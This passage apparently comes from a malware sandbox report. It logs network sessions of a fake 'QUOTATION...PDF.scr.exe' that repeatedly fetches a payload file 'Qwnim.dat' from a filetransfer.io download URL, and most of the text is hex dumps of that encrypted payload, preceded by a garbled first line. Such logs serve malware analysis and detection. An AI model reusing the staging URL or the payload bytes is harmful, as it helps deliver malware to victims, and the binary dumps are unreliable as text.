#h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:22:58 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:00 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:01 UTC	1066	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:23:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=24lke560ivdsrbrbrjdhf85pff; expires=Fri, 18-Oct-2024 09:23:00 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/rF55DMjHHO7R cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UQg3Bmoxr5EPUsQZPjP0FiZg4CMyohoU9Y4Mb5FHVUDDJfR6NQ0Koh1%2Bx6iXnVHmE2JgsC9Mlq10Gd2eHxhLTw0NKUD8XgI9dCIl7jkYRvMYJBcX%2F2pVS1eplTv9u2vF%2B4I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c58a952c420-EWR
2024-10-04 09:23:01 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 72 46 35 35 44 4d 6a 48 48 4f 37 52 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/rF55DMjHHO7R">Please click here to continue</a>.</p>
2024-10-04 09:23:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:01 UTC	74	OUT	GET /storage/download/rF55DMjHHO7R HTTP/1.1 Host: s23.filetransfer.io
2024-10-04 09:23:02 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:23:02 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=6e6e87d2afb5ce2ff3fb35a5d266f622; expires=Fri, 18-Oct-2024 09:23:02 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3lYqEqVGf3YNpIGnFqLx1R6y3o9%2Boize9W8kWxJSQ44r%2F5CzByGN57VbNSSFLfAoMshNFHdKKLgYgamsR4jiANTkIsuhrVAM4j0ieCS3AHiy6kqVXJbCi41ek2nehTTv1WV88R88"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41c60fa688c8a-EWR
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:23:02 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49796	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:19 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49844	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:36 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49847	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:38 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:39 UTC	1072	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:23:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=kn5pucl6hehi4461ccdkc4c38h; expires=Fri, 18-Oct-2024 09:23:39 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/qr9THGkhopIj CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9DnYEEt3xYZwgrnwWFSr%2FNk%2FI04e%2F7SQ2hrwNA40xFyJh7WHleJdKYpV%2Bc0s9lwEraF%2BRzylFVCea9ATGGGIeerzOEDzoKvg07DVWpdr1BB4SBQe0%2BESJNie359LT2NC9Tk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d46c9457cf3-EWR
2024-10-04 09:23:39 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 71 72 39 54 48 47 6b 68 6f 70 49 6a 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/qr9THGkhopIj">Please click here to continue</a>.</p>
2024-10-04 09:23:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49848	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:39 UTC	98	OUT	GET /storage/download/qr9THGkhopIj HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:40 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:23:40 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=5c68964d376e12a8959ca0949a1c3011; expires=Fri, 18-Oct-2024 09:23:40 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6C6OIgLV1z1twbDrOrP0w1zDJ8ZqgjzQPy3AtfEqLg4R3vX4yhja3212DSLOTHyfudNFdyy6qp%2BOQPhczpkOf4mzruQG6slf9w4Kln4klWSVG1fe8Zt1WSY%2FGS5W9o%2BzCQ30s5xo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41d4f8d7572ab-EWR
2024-10-04 09:23:40 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:23:40 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
